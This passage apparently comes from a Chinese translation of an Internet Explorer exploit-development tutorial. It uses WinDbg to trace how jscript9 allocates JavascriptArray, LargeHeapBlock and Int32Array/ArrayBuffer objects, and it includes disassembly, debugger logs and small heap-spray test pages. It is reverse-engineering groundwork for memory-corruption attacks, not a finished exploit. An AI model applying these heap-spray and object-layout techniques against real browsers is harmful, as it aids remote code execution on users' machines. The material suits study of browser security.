6e1a3f7b          jscript9!Js::JavascriptArray::JoinArrayHelper (<no parameter info>)
6e2fef8b          jscript9!Js::JavascriptArray::GetFromLastIndex (<no parameter info>)
6e1cad39          jscript9!Js::JavascriptArray::DirectDeleteItemAt (<no parameter info>)
6e1e8981          jscript9!Js::JavascriptArray::MakeCopyOnWriteObject (<no parameter info>)
6e1d6fdc          jscript9!Js::JavascriptArray::EnsureHeadStartsFromZero (<no parameter info>)
6e2fec48          jscript9!Js::JavascriptArray::ToLocaleStringHelper (<no parameter info>)
6e244c36          jscript9!Js::JavascriptArray::GetBeginLookupSegment (<no parameter info>)
6e3a44a0          jscript9!Js::JavascriptArray::EntryInfo::Unshift = <no type information>


这一行看起来有点用:


jscript9!Js::JavascriptArray::NewInstance (<no parameter info>)  



我们对它设置一个断点,看看这次我们的运气怎么样.





关闭IE中的完毕(Done)消息框,刷新页面,关闭开始(Start)消息框.这一次我们的计划比较顺利:





我们单步往下执行,可以看到如下这段代码:





new操作符是像下面这样调用的:


operator new(20h,arg, jscript9!Recycler::Alloc);



我们来查看一下new操作符的实现代码:





我们回到主代码处:


6e1a8ed0 68fc76116e      push    offset jscript9!Recycler::Alloc (6e1176fc)
6e1a8ed5 ff770c          push    dword ptr [edi+0Ch]
6e1a8ed8 6a20            push    20h
6e1a8eda e890e8f6ff      call    jscript9!operator new<Recycler> (6e11776f)           <--------------------------
6e1a8edf 8bf0            mov     esi,eax     <--------------------- ESI = 已经分配的块
6e1a8ee1 83c40c          add     esp,0Ch
6e1a8ee4 85f6            test    esi,esi
6e1a8ee6 0f844e42feff    je      jscript9!Js::JavascriptArray::NewInstance+0x390 (6e18d13a)
6e1a8eec 8b8f00010000    mov     ecx,dword ptr [edi+100h]
6e1a8ef2 894e04          mov     dword ptr [esi+4],ecx
6e1a8ef5 c706d827116e    mov     dword ptr [esi],offset jscript9!Js::DynamicObject::`vftable' (6e1127d8)
6e1a8efb c7460800000000  mov     dword ptr [esi+8],0
6e1a8f02 c7460c01000000  mov     dword ptr [esi+0Ch],1
6e1a8f09 8b4118          mov     eax,dword ptr [ecx+18h]
6e1a8f0c 8a4005          mov     al,byte ptr [eax+5]
6e1a8f0f a808            test    al,8
6e1a8f11 0f855d7a0c00    jne     jscript9!Js::JavascriptArray::NewInstance+0x386 (6e270974)
6e1a8f17 b803000000      mov     eax,3
6e1a8f1c 89460c          mov     dword ptr [esi+0Ch],eax
6e1a8f1f 8b4104          mov     eax,dword ptr [ecx+4]
6e1a8f22 8b4004          mov     eax,dword ptr [eax+4]
6e1a8f25 8b4918          mov     ecx,dword ptr [ecx+18h]
6e1a8f28 8bb864040000    mov     edi,dword ptr [eax+464h]
6e1a8f2e 8b01            mov     eax,dword ptr [ecx]
6e1a8f30 ff5014          call    dword ptr [eax+14h]
6e1a8f33 8b4e04          mov     ecx,dword ptr [esi+4]
6e1a8f36 8b4918          mov     ecx,dword ptr [ecx+18h]
6e1a8f39 8b4908          mov     ecx,dword ptr [ecx+8]
6e1a8f3c 3bc1            cmp     eax,ecx
6e1a8f3e 0f8f4e191c00    jg      jscript9!memset+0x31b4c (6e36a892)
6e1a8f44 8b4604          mov     eax,dword ptr [esi+4]
6e1a8f47 c706c82d116e    mov     dword ptr [esi],offset jscript9!Js::JavascriptArray::`vftable' (6e112dc8)
6e1a8f4d c7461c00000000  mov     dword ptr [esi+1Ch],0
6e1a8f54 8b4004          mov     eax,dword ptr [eax+4]



比较重要的一条指令是


6e1a8f47 c706c82d116e    mov     dword ptr [esi],offset jscript9!Js::JavascriptArray::`vftable' (6e112dc8)



这里会将该内存块中的第一个DWORD覆盖为JavascriptArray的vftable(虚表).


另一处比较重要的代码如下:


6e1a8f57 8b4004          mov     eax,dword ptr [eax+4]
6e1a8f5a 8b8864040000    mov     ecx,dword ptr [eax+464h]
6e1a8f60 6a50            push    50h           <--------- 50h个字节?
6e1a8f62 c7461000000000  mov     dword ptr [esi+10h],0
6e1a8f69 e8c405f7ff      call    jscript9!Recycler::AllocZero (6e119532)  <---- 分配一个块
6e1a8f6e c70000000000    mov     dword ptr [eax],0
6e1a8f74 c7400400000000  mov     dword ptr [eax+4],0
6e1a8f7b c7400810000000  mov     dword ptr [eax+8],10h
6e1a8f82 c7400c00000000  mov     dword ptr [eax+0Ch],0
6e1a8f89 894618          mov     dword ptr [esi+18h],eax   <--------------  如下图所示
6e1a8f8c 894614          mov     dword ptr [esi+14h],eax   <--------------  如下图所示
6e1a8f8f f70580533a6e00080000 test dword ptr [jscript9!Microsoft_JScriptEnableBits (6e3a5380)],800h
6e1a8f99 0f8422ffffff    je      jscript9!Js::JavascriptArray::NewInstance+0x13a (6e1a8ec1)



下图描绘出了上面这段代码中到底发生了什么:





现在我们有两个重要的地址:


24969280 JavascriptArray的地址
27a860a0 JavascriptArray指向的结构



我们删除断点,恢复程序的执行.当完毕(Done)消息框弹出来时,我们回到WinDbg中.现在将WinDbg中断下来,我们再来看一看[bookmark: OLE_LINK6][bookmark: OLE_LINK5][bookmark: OLE_LINK4][bookmark: OLE_LINK3]24969280h这个地址:





我们可以看到,现在我们的JavascriptArray(在偏移0x14和0x18处)指向相同的地址.因为JavascriptArray是可扩展的,所以可能首先是在偏移0x14和0x18处分配大一点的缓冲区的指针,紧接着再更新为新缓冲区的引用.我们还可以看到,239d9360处的JavascriptArray对应于javascript代码中的数组a.实际上,它包含10000h个其他数组的引用.




我们可以看到JavascriptArray对象是在Jscript9!Js::JavascriptArray::NewInstance中分配的:


6e1a8eda e890e8f6ff      call    jscript9!operator new<Recycler> (6e11776f)           <--------------------------
6e1a8edf 8bf0            mov     esi,eax     <--------------------- ESI = 已经分配的块


如果在这里我们通过按Shift+F11从jscript9!Js::JavascriptArray::NewInstance中返回,我们将看到如下代码:





在调用了NewInstance之后,EAX会指向JavascriptArray结构.所以,我们可以对


6e1a8edf或者6e15011c地址处设置一个断点.这里我们选择后者:





我们到目前为止挖掘出的有用信息如下:









LargeHeapBlock(大堆块)


 


LargeHeapBlock(大堆块)是什么呢?我们来尝试一下搜索其相关符号:


0:007> x jscript9!*largeheapblock*
6e1d3354          jscript9!HeapInfo::DeleteLargeHeapBlockList (<no parameter info>)
6e176137          jscript9!HeapInfo::ReinsertLargeHeapBlock (<no parameter info>)
6e1d5437          jscript9!LargeHeapBlock::SweepObjects<2> (<no parameter info>)
6e1e4214          jscript9!LargeHeapBlock::IsValidObject (<no parameter info>)
6e1d57f4          jscript9!LargeHeapBlock::SweepObjects<1> (<no parameter info>)
6e2d2ccd          jscript9!LargeHeapBlock::GetHeader (<no parameter info>)
6e178214          jscript9!LargeHeapBlock::ResetMarks (<no parameter info>)
6e1774d8          jscript9!LargeHeapBlock::Rescan (<no parameter info>)
6e175f9f          jscript9!LargeHeapBlock::IsObjectMarked (<no parameter info>)
6e14c563          jscript9!HeapInfo::AddLargeHeapBlock (<no parameter info>)          <----------------------------
6e1cfb24          jscript9!LargeHeapBlock::AddObjectToFreeList (<no parameter info>)
6e2d2ecf          jscript9!LargeHeapBlock::Alloc (<no parameter info>)                <----------------------------
6e2d2d13          jscript9!LargeHeapBlock::GetObjectHeader (<no parameter info>)
6e2d2ac6          jscript9!HeapBucket::EnumerateObjects<LargeHeapBlock> (<no parameter info>)
6e2d2d08          jscript9!LargeHeapBlock::GetRealAddressFromInterior (<no parameter info>)
6e2d2d47          jscript9!LargeHeapBlock::SetMemoryProfilerOldObjectBit (<no parameter info>)
6e2d2cf4          jscript9!LargeHeapBlock::GetObjectSize (<no parameter info>)
6e1777d7          jscript9!HeapInfo::Rescan<LargeHeapBlock> (<no parameter info>)
6e1d3385          jscript9!LargeHeapBlock::ReleasePagesShutdown (<no parameter info>)
6e2d2d7c          jscript9!LargeHeapBlock::SetObjectMarkedBit (<no parameter info>)
6e2d2e07          jscript9!LargeHeapBlock::FinalizeObjects (<no parameter info>)
6e175729          jscript9!LargeHeapBlock::SweepObjects<0> (<no parameter info>)
6e2d2dbf          jscript9!LargeHeapBlock::TestObjectMarkedBit (<no parameter info>)
6e2d2d08          jscript9!LargeHeapBlock::MarkInterior (<no parameter info>)
6e111b0c          jscript9!LargeHeapBlock::`vftable' = <no type information>


最有可能的函数如下:


6e14c563          jscript9!HeapInfo::AddLargeHeapBlock (<no parameter info>)          <----------------------------
6e2d2ecf          jscript9!LargeHeapBlock::Alloc (<no parameter info>)                <----------------------------



我们给它们都设置断点,在IE中刷新页面.当我们关闭开始(Start)消息框以后,第一个断点就触发了,我们断在了这里:





我们还是来查看一下栈回溯:





有意思吧!我们发现,当JavascriptArray的第一项被赋值的时候,LargeHeapBlock就通过LargeAlloc创建了(通过AllocZero被调用的).我们通过按Shift+F11从AddLargeHeapBlock中返回,查看一下EAX指向的内存单元:





所以,EAX指向了刚刚创建的LargeHeapBlock.我们来看一看是否该块是直接在堆中分配的:





是的,它的大小为0x54字节,前面是8字节的分配头部(UserPtr – HEAP_ENTRY == 8).这些是我们需要知道的.我们在调用AddLargeHeapBlock的call后面设置一个断点:





我们应该来看一看LargeHeapBlock(大堆块).首先,我们稍稍修改一下javascript代码,创建少量的LargeHeapBlock(大堆块):


<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x100; ++i) {     // <------ just 0x100
    a[i] = new Array(0x1000/4);
    a[i][0] = 0x7fffffff;
    a[i][1] = -2;
    a[i][2] = 1.2345;
    a[i][3] = document.createElement("div");
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>


就像我们刚刚看到的那样,设置如下断点:





现在在IE中刷新页面,关闭第一个消息框.


你在命令窗口中应该可以看到类似下面这样的输出:


new LargeHeapBlock: addr = 0x02100368
new LargeHeapBlock: addr = 0x021003c8
new LargeHeapBlock: addr = 0x02103378
new LargeHeapBlock: addr = 0x021033d8
new LargeHeapBlock: addr = 0x02103438
new LargeHeapBlock: addr = 0x02103498
new LargeHeapBlock: addr = 0x021034f8
new LargeHeapBlock: addr = 0x02103558
new LargeHeapBlock: addr = 0x021035b8
new LargeHeapBlock: addr = 0x02103668
new LargeHeapBlock: addr = 0x021036c8
new LargeHeapBlock: addr = 0x02103728
new LargeHeapBlock: addr = 0x02103788
new LargeHeapBlock: addr = 0x021037e8
new LargeHeapBlock: addr = 0x02103848
new LargeHeapBlock: addr = 0x021038a8
new LargeHeapBlock: addr = 0x02103908
new LargeHeapBlock: addr = 0x02103968
new LargeHeapBlock: addr = 0x021039c8
new LargeHeapBlock: addr = 0x02103a28
new LargeHeapBlock: addr = 0x02103a88
new LargeHeapBlock: addr = 0x02103ae8
new LargeHeapBlock: addr = 0x02103b48
new LargeHeapBlock: addr = 0x02103ba8
new LargeHeapBlock: addr = 0x02103c08
new LargeHeapBlock: addr = 0x02103c68
new LargeHeapBlock: addr = 0x02103cc8
new LargeHeapBlock: addr = 0x02103d28
new LargeHeapBlock: addr = 0x02103d88
new LargeHeapBlock: addr = 0x02103de8
new LargeHeapBlock: addr = 0x02103e48
new LargeHeapBlock: addr = 0x02103ea8
new LargeHeapBlock: addr = 0x02103f08
new LargeHeapBlock: addr = 0x02103f68
new LargeHeapBlock: addr = 0x02103fc8
new LargeHeapBlock: addr = 0x02104028
new LargeHeapBlock: addr = 0x02104088
new LargeHeapBlock: addr = 0x021040e8
new LargeHeapBlock: addr = 0x02104148
new LargeHeapBlock: addr = 0x021041a8
new LargeHeapBlock: addr = 0x02104208
new LargeHeapBlock: addr = 0x02104268
new LargeHeapBlock: addr = 0x021042c8
new LargeHeapBlock: addr = 0x02104328
new LargeHeapBlock: addr = 0x02104388
new LargeHeapBlock: addr = 0x021043e8
new LargeHeapBlock: addr = 0x02104448
new LargeHeapBlock: addr = 0x021044a8
new LargeHeapBlock: addr = 0x02104508
new LargeHeapBlock: addr = 0x02104568
new LargeHeapBlock: addr = 0x021045c8
new LargeHeapBlock: addr = 0x02104e70
new LargeHeapBlock: addr = 0x02104ed0
new LargeHeapBlock: addr = 0x02104f30
new LargeHeapBlock: addr = 0x02104f90
new LargeHeapBlock: addr = 0x02104ff0
new LargeHeapBlock: addr = 0x02105050
new LargeHeapBlock: addr = 0x021050b0
new LargeHeapBlock: addr = 0x02105110
new LargeHeapBlock: addr = 0x02105170
new LargeHeapBlock: addr = 0x021051d0
new LargeHeapBlock: addr = 0x02105230
new LargeHeapBlock: addr = 0x02105290
new LargeHeapBlock: addr = 0x021052f0
new LargeHeapBlock: addr = 0x02105350
new LargeHeapBlock: addr = 0x021053b0
new LargeHeapBlock: addr = 0x02105410
new LargeHeapBlock: addr = 0x02105470
new LargeHeapBlock: addr = 0x021054d0
new LargeHeapBlock: addr = 0x02105530
new LargeHeapBlock: addr = 0x02105590
new LargeHeapBlock: addr = 0x021055f0
new LargeHeapBlock: addr = 0x02105650
new LargeHeapBlock: addr = 0x021056b0
new LargeHeapBlock: addr = 0x02105710
new LargeHeapBlock: addr = 0x02105770
new LargeHeapBlock: addr = 0x021057d0
new LargeHeapBlock: addr = 0x02105830
new LargeHeapBlock: addr = 0x02105890
new LargeHeapBlock: addr = 0x021058f0
new LargeHeapBlock: addr = 0x02105950
new LargeHeapBlock: addr = 0x021059b0
new LargeHeapBlock: addr = 0x02105a10
new LargeHeapBlock: addr = 0x02105a70
new LargeHeapBlock: addr = 0x02105ad0
new LargeHeapBlock: addr = 0x02105b30
new LargeHeapBlock: addr = 0x02105b90
new LargeHeapBlock: addr = 0x02105bf0
new LargeHeapBlock: addr = 0x02105c50
new LargeHeapBlock: addr = 0x02105cb0
new LargeHeapBlock: addr = 0x02105d10
new LargeHeapBlock: addr = 0x02105d70
new LargeHeapBlock: addr = 0x02105dd0
new LargeHeapBlock: addr = 0x02106b70
new LargeHeapBlock: addr = 0x02106bd0
new LargeHeapBlock: addr = 0x02106c30
new LargeHeapBlock: addr = 0x02106c90
new LargeHeapBlock: addr = 0x02106cf0
new LargeHeapBlock: addr = 0x02106d50
new LargeHeapBlock: addr = 0x02106db0
new LargeHeapBlock: addr = 0x02106e10
new LargeHeapBlock: addr = 0x02106e70
new LargeHeapBlock: addr = 0x02106ed0
new LargeHeapBlock: addr = 0x02106f30
new LargeHeapBlock: addr = 0x02106f90
new LargeHeapBlock: addr = 0x02106ff0
new LargeHeapBlock: addr = 0x02107050
new LargeHeapBlock: addr = 0x021070b0
new LargeHeapBlock: addr = 0x02107110
new LargeHeapBlock: addr = 0x02107170
new LargeHeapBlock: addr = 0x021071d0
new LargeHeapBlock: addr = 0x02107230
new LargeHeapBlock: addr = 0x02107290
new LargeHeapBlock: addr = 0x021072f0
new LargeHeapBlock: addr = 0x02107350
new LargeHeapBlock: addr = 0x021073b0
new LargeHeapBlock: addr = 0x02107410
new LargeHeapBlock: addr = 0x02107470
new LargeHeapBlock: addr = 0x021074d0
new LargeHeapBlock: addr = 0x02107530
new LargeHeapBlock: addr = 0x02107590
new LargeHeapBlock: addr = 0x021075f0
new LargeHeapBlock: addr = 0x02107650
new LargeHeapBlock: addr = 0x021076b0
new LargeHeapBlock: addr = 0x02107710
new LargeHeapBlock: addr = 0x02107770
new LargeHeapBlock: addr = 0x021077d0
new LargeHeapBlock: addr = 0x02107830
new LargeHeapBlock: addr = 0x02107890
new LargeHeapBlock: addr = 0x021078f0
new LargeHeapBlock: addr = 0x02107950
new LargeHeapBlock: addr = 0x021079b0
new LargeHeapBlock: addr = 0x02107a10
new LargeHeapBlock: addr = 0x02107a70
new LargeHeapBlock: addr = 0x02107ad0
new LargeHeapBlock: addr = 0x02107b70
new LargeHeapBlock: addr = 0x02107bd0
new LargeHeapBlock: addr = 0x02107c30
new LargeHeapBlock: addr = 0x02107c90
new LargeHeapBlock: addr = 0x02107cf0
new LargeHeapBlock: addr = 0x02107d50
new LargeHeapBlock: addr = 0x02107db0
new LargeHeapBlock: addr = 0x02107e10
new LargeHeapBlock: addr = 0x02107e70
new LargeHeapBlock: addr = 0x02107ed0
new LargeHeapBlock: addr = 0x02107f30
new LargeHeapBlock: addr = 0x02107f90
new LargeHeapBlock: addr = 0x02107ff0
new LargeHeapBlock: addr = 0x02108050
new LargeHeapBlock: addr = 0x021080b0
new LargeHeapBlock: addr = 0x02108110
new LargeHeapBlock: addr = 0x02108170
new LargeHeapBlock: addr = 0x021081d0
new LargeHeapBlock: addr = 0x02108230
new LargeHeapBlock: addr = 0x02108290
new LargeHeapBlock: addr = 0x021082f0
new LargeHeapBlock: addr = 0x02108350
new LargeHeapBlock: addr = 0x021083b0
new LargeHeapBlock: addr = 0x02108410
new LargeHeapBlock: addr = 0x02108470
new LargeHeapBlock: addr = 0x021084d0
new LargeHeapBlock: addr = 0x02108530
new LargeHeapBlock: addr = 0x02108590
new LargeHeapBlock: addr = 0x021085f0
new LargeHeapBlock: addr = 0x02108650
new LargeHeapBlock: addr = 0x021086b0
new LargeHeapBlock: addr = 0x02108710
new LargeHeapBlock: addr = 0x02108770
new LargeHeapBlock: addr = 0x021087d0
new LargeHeapBlock: addr = 0x02108830
new LargeHeapBlock: addr = 0x02108890
new LargeHeapBlock: addr = 0x021088f0
new LargeHeapBlock: addr = 0x02108950
new LargeHeapBlock: addr = 0x021089b0
new LargeHeapBlock: addr = 0x02108a10
new LargeHeapBlock: addr = 0x02108a70
new LargeHeapBlock: addr = 0x02108ad0
new LargeHeapBlock: addr = 0x0210af80
new LargeHeapBlock: addr = 0x0210afe0
new LargeHeapBlock: addr = 0x0210b040
new LargeHeapBlock: addr = 0x0210b0a0
new LargeHeapBlock: addr = 0x0210b100
new LargeHeapBlock: addr = 0x0210b160
new LargeHeapBlock: addr = 0x0210b1c0
new LargeHeapBlock: addr = 0x0210b220
new LargeHeapBlock: addr = 0x0210b280
new LargeHeapBlock: addr = 0x0210b2e0
new LargeHeapBlock: addr = 0x0210b340
new LargeHeapBlock: addr = 0x0210b3a0
new LargeHeapBlock: addr = 0x0210b400
new LargeHeapBlock: addr = 0x0210b460
new LargeHeapBlock: addr = 0x0210b4c0
new LargeHeapBlock: addr = 0x0210b520
new LargeHeapBlock: addr = 0x0210b580
new LargeHeapBlock: addr = 0x0210b5e0
new LargeHeapBlock: addr = 0x0210b640
new LargeHeapBlock: addr = 0x0210b6a0
new LargeHeapBlock: addr = 0x0210b700
new LargeHeapBlock: addr = 0x0210b760
new LargeHeapBlock: addr = 0x0210b7c0
new LargeHeapBlock: addr = 0x0210b820
new LargeHeapBlock: addr = 0x0210b880
new LargeHeapBlock: addr = 0x0210b8e0
new LargeHeapBlock: addr = 0x0210b940
new LargeHeapBlock: addr = 0x0210b9a0
new LargeHeapBlock: addr = 0x0210ba00
new LargeHeapBlock: addr = 0x0210ba60
new LargeHeapBlock: addr = 0x0210bac0
new LargeHeapBlock: addr = 0x0210bb20
new LargeHeapBlock: addr = 0x0210bb80
new LargeHeapBlock: addr = 0x0210bbe0
new LargeHeapBlock: addr = 0x0210bc40
new LargeHeapBlock: addr = 0x0210bca0
new LargeHeapBlock: addr = 0x0210bd00
new LargeHeapBlock: addr = 0x0210bd60
new LargeHeapBlock: addr = 0x0210bdc0
new LargeHeapBlock: addr = 0x0210be20
new LargeHeapBlock: addr = 0x0210be80
new LargeHeapBlock: addr = 0x0210bee0
new LargeHeapBlock: addr = 0x0210bf80
new LargeHeapBlock: addr = 0x0210bfe0
new LargeHeapBlock: addr = 0x0210c040
new LargeHeapBlock: addr = 0x0210c0a0
new LargeHeapBlock: addr = 0x0210c100
new LargeHeapBlock: addr = 0x0210c160
new LargeHeapBlock: addr = 0x0210c1c0
new LargeHeapBlock: addr = 0x0210c220
new LargeHeapBlock: addr = 0x0210c280
new LargeHeapBlock: addr = 0x0210c2e0
new LargeHeapBlock: addr = 0x0210c340
new LargeHeapBlock: addr = 0x0210c3a0
new LargeHeapBlock: addr = 0x0210c400
new LargeHeapBlock: addr = 0x0210c460
new LargeHeapBlock: addr = 0x0210c4c0
new LargeHeapBlock: addr = 0x0210c520
new LargeHeapBlock: addr = 0x0210c580
new LargeHeapBlock: addr = 0x0210c5e0
new LargeHeapBlock: addr = 0x0210c640
new LargeHeapBlock: addr = 0x0210c6a0
new LargeHeapBlock: addr = 0x0210c700
new LargeHeapBlock: addr = 0x0210c760
new LargeHeapBlock: addr = 0x0210c7c0
new LargeHeapBlock: addr = 0x0210c820
new LargeHeapBlock: addr = 0x0210c880
new LargeHeapBlock: addr = 0x0210c8e0
new LargeHeapBlock: addr = 0x0210c940
new LargeHeapBlock: addr = 0x0210c9a0
new LargeHeapBlock: addr = 0x0210ca00
new LargeHeapBlock: addr = 0x0210ca60
new LargeHeapBlock: addr = 0x0210cac0
new LargeHeapBlock: addr = 0x0210cb20
new LargeHeapBlock: addr = 0x0210cb80
new LargeHeapBlock: addr = 0x0210cbe0
new LargeHeapBlock: addr = 0x0210cc40
new LargeHeapBlock: addr = 0x0210cca0
new LargeHeapBlock: addr = 0x0210cd00
new LargeHeapBlock: addr = 0x0210cd60



看一下最后的6个地址:


new LargeHeapBlock: addr = 0x0210cb80
new LargeHeapBlock: addr = 0x0210cbe0
new LargeHeapBlock: addr = 0x0210cc40
new LargeHeapBlock: addr = 0x0210cca0
new LargeHeapBlock: addr = 0x0210cd00
new LargeHeapBlock: addr = 0x0210cd60


首先,注意,它们相隔0x60字节:0x8字节的分配头和0x58字节的LargeHeapBlock对象.内存中的最后6个LargeHeapBlock如下:





正如我们所看到的,每个LargeHeapBlock中偏移0x24的位置包含了指向前一个LargeHeapBlock的指针.该指针将在后面用于确定该LergeHeapBlock自身的地址.




ArrayBuffer(二进制原始缓冲区)&Int32Array(32位有符号整数数组)




MDN(Mozilla Developer
Network)中关于ArrayBuffer(数组缓冲区)的介绍如下:





看一看如下的例子:


//手工创建一个ArrayBuffer.
buf = new ArrayBuffer(400*1024*1024);
a = new Int32Array(buf);
 
//自动创建ArrayBuffer.
a2 = new Int32Array(100*1024*1024);


a和a2是等价的,具有相同的长度.当直接创建一个ArrayBuffer的时候,我们需要按字节指定大小,而当创建一个Int32Array的时候,我们需要按元素(32位整数)个数指定长度.注意,当我们创建一个Int32Array的时候,ArrayBuffer在内部就被创建了,Int32Array会用到它.


要定位创建ArrayBuffer的代码位于何处,我们可以像之前演示堆喷射一样.我们使用如下的javascript代码:


<html>
<head>
<script language="javascript">
  alert("Start");
  var a = new Array();
  for (var i = 0; i < 0x10000; ++i) {
    a[i] = new Int32Array(0x1000/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>


当带有完毕(Done)文本的消息框弹出来以后,我们用VMMap查看一下内存情况.如下:





注意,这次显示的是Heap(Private D…,这意味着ArrayBuffer是直接在堆中分配的.如果我们在WinDbg中查看一下[bookmark: OLE_LINK10][bookmark: OLE_LINK9]f360000这个地址,我们可以看到:





我们的数据开始于[bookmark: OLE_LINK12][bookmark: OLE_LINK11]f360060.因为它位于堆中,我们使用!heap:





同理,8字节的分配头.如果我们在IE中刷新页面,回到WinDbg中,我们可以看到状态并没有改变:





这意味着我们可以对0f360058这个地址(HEAP_ENTRY上面)设置一个硬件断点,就可以断在在堆中分配内存的代码处.我们在IE中刷新页面,在WinDbg中设置如下断点:





在关闭IE中的消息框之后,我们断在了这里:





栈回溯如下:





完美!我们可以看到ArrayBuffer是通过C运行库中的malloc分配的,是在jscript9!Js::JavascriptArrayBuffer::Create内部被调用的.TypedArray<int>很可能是我们的Int32Array和TypedArrayBase的基类.所以,


Jscript9!Js::TypedArray<int>::NewInstance创建一个新的Int32Array和一个新的JavascriptArrayBuffer.现在,我们应该在内存中查看一下Int32Array.这里我们就不需要进行堆喷射了,所以我们将代码改成如下的样子:


<html>
<head>
<script language="javascript">
  alert("Start");
  a = new Int32Array(0x1000);
  for (var j = 0; j < a.length; ++j)
    a[j] = 0x123;
  alert("Done");
</script>
</head>
<body>
</body>
</html>



我们对创建一个新的Int32Array的例程设置一个断点:





我们尝试用bm代替:





OK,奏效了.现在,在IE中刷新页面.当我们关闭了消息框,我们断在了jscript9!Js::TypedArray<int>::NewIntance.


整个函数如下:


0:008> uf 6e317fee
jscript9!Js::TypedArray<int>::NewInstance:
6e317fee 8bff            mov     edi,edi
6e317ff0 55              push    ebp
6e317ff1 8bec            mov     ebp,esp
6e317ff3 83e4f8          and     esp,0FFFFFFF8h
6e317ff6 83ec0c          sub     esp,0Ch
6e317ff9 53              push    ebx
6e317ffa 8b5d08          mov     ebx,dword ptr [ebp+8]
6e317ffd 8b4304          mov     eax,dword ptr [ebx+4]
6e318000 8b4004          mov     eax,dword ptr [eax+4]
6e318003 8b4804          mov     ecx,dword ptr [eax+4]
6e318006 56              push    esi
6e318007 57              push    edi
6e318008 6a00            push    0
6e31800a 51              push    ecx
6e31800b 8b8934020000    mov     ecx,dword ptr [ecx+234h]
6e318011 ba00040000      mov     edx,400h
6e318016 e8dd40e3ff      call    jscript9!ThreadContext::ProbeStack (6e14c0f8)
6e31801b 8d4510          lea     eax,[ebp+10h]
6e31801e 50              push    eax
6e31801f 8d7d0c          lea     edi,[ebp+0Ch]
6e318022 8d742414        lea     esi,[esp+14h]
6e318026 e8c24ee0ff      call    jscript9!Js::ArgumentReader::ArgumentReader (6e11ceed)
6e31802b 8b4304          mov     eax,dword ptr [ebx+4]
6e31802e 8b4004          mov     eax,dword ptr [eax+4]
6e318031 68d08d2a6e      push    offset jscript9!Js::TypedArray<int>::Create (6e2a8dd0)
6e318036 6a04            push    4
6e318038 ff7004          push    dword ptr [eax+4]
6e31803b 8bc6            mov     eax,esi
6e31803d 50              push    eax
6e31803e e80a490000      call    jscript9!Js::TypedArrayBase::CreateNewInstance (6e31c94d)
6e318043 5f              pop     edi
6e318044 5e              pop     esi
6e318045 5b              pop     ebx
6e318046 8be5            mov     esp,ebp
6e318048 5d              pop     ebp
6e318049 c3              ret


我们通过单步步入jscript9!Js::TypedArrayBase::CreateNewInstance,我们会看到jscript9!Js::TypedArray<int>::Create这个call:





如果我们单步步入jscript9!Js::TypedArray<int>::Create,我们将看Alloc的这处call:





我们可以看到,TypedArray<int>对象占24h字节.注意,该对象首先被分配,然后通过构造函数初始化.为了在Int32Array被创建的时候打印一条消息,我们可以在jscript9!Js::TypedArray<int>::NewIntance的尾部设置一个断点,在jscript9!TypedArrayBase::CreateNewIntance这个call的正下方(看箭头):


jscript9!Js::TypedArray<int>::NewInstance:
6e317fee 8bff            mov     edi,edi
6e317ff0 55              push    ebp
6e317ff1 8bec            mov     ebp,esp
6e317ff3 83e4f8          and     esp,0FFFFFFF8h
6e317ff6 83ec0c          sub     esp,0Ch
6e317ff9 53              push    ebx
6e317ffa 8b5d08          mov     ebx,dword ptr [ebp+8]
6e317ffd 8b4304          mov     eax,dword ptr [ebx+4]
6e318000 8b4004          mov     eax,dword ptr [eax+4]
6e318003 8b4804          mov     ecx,dword ptr [eax+4]
6e318006 56              push    esi
6e318007 57              push    edi
6e318008 6a00            push    0
6e31800a 51              push    ecx
6e31800b 8b8934020000    mov     ecx,dword ptr [ecx+234h]
6e318011 ba00040000      mov     edx,400h
6e318016 e8dd40e3ff      call    jscript9!ThreadContext::ProbeStack (6e14c0f8)
6e31801b 8d4510          lea     eax,[ebp+10h]
6e31801e 50              push    eax
6e31801f 8d7d0c          lea     edi,[ebp+0Ch]
6e318022 8d742414        lea     esi,[esp+14h]
6e318026 e8c24ee0ff      call    jscript9!Js::ArgumentReader::ArgumentReader (6e11ceed)
6e31802b 8b4304          mov     eax,dword ptr [ebx+4]
6e31802e 8b4004          mov     eax,dword ptr [eax+4]
6e318031 68d08d2a6e      push    offset jscript9!Js::TypedArray<int>::Create (6e2a8dd0)
6e318036 6a04            push    4
6e318038 ff7004          push    dword ptr [eax+4]
6e31803b 8bc6            mov     eax,esi
6e31803d 50              push    eax
6e31803e e80a490000      call    jscript9!Js::TypedArrayBase::CreateNewInstance (6e31c94d)
6e318043 5f              pop     edi             <-----------  在这里设置断点
6e318044 5e              pop     esi
6e318045 5b              pop     ebx
6e318046 8be5            mov     esp,ebp
6e318048 5d              pop     ebp
6e318049 c3              ret



断点如下:





我们还应该查看一下jscript9!Js::JavascriptArrayBuffer::Create:


0:008> uf jscript9!Js::JavascriptArrayBuffer::Create
jscript9!Js::JavascriptArrayBuffer::Create:
6e25ba56 8bff            mov     edi,edi
6e25ba58 55              push    ebp
6e25ba59 8bec            mov     ebp,esp
6e25ba5b 53              push    ebx
6e25ba5c 8b5d08          mov     ebx,dword ptr [ebp+8]
6e25ba5f 56              push    esi
6e25ba60 57              push    edi
6e25ba61 8bf8            mov     edi,eax
6e25ba63 8b4304          mov     eax,dword ptr [ebx+4]
6e25ba66 8b4004          mov     eax,dword ptr [eax+4]
6e25ba69 8bb064040000    mov     esi,dword ptr [eax+464h]
6e25ba6f 01be04410000    add     dword ptr [esi+4104h],edi
6e25ba75 e8afbfebff      call    jscript9!Recycler::CollectNow<402722819> (6e117a29)
6e25ba7a 6a18            push    18h                 <-----------  18h字节
6e25ba7c 8bce            mov     ecx,esi
6e25ba7e e8cdd6ebff      call    jscript9!Recycler::AllocFinalized (6e119150)
6e25ba83 ff353ca13a6e    push    dword ptr [jscript9!_imp__malloc (6e3aa13c)]      <---------------
6e25ba89 8bf0            mov     esi,eax
6e25ba8b 8bcb            mov     ecx,ebx
6e25ba8d e863010000      call    jscript9!Js::ArrayBuffer::ArrayBuffer<void * (__cdecl*)(unsigned int)> (6e25bbf5)
6e25ba92 5f              pop     edi
6e25ba93 c706a8ba256e    mov     dword ptr [esi],offset jscript9!Js::JavascriptArrayBuffer::`vftable' (6e25baa8)
6e25ba99 8bc6            mov     eax,esi
6e25ba9b 5e              pop     esi
6e25ba9c 5b              pop     ebx
6e25ba9d 5d              pop     ebp
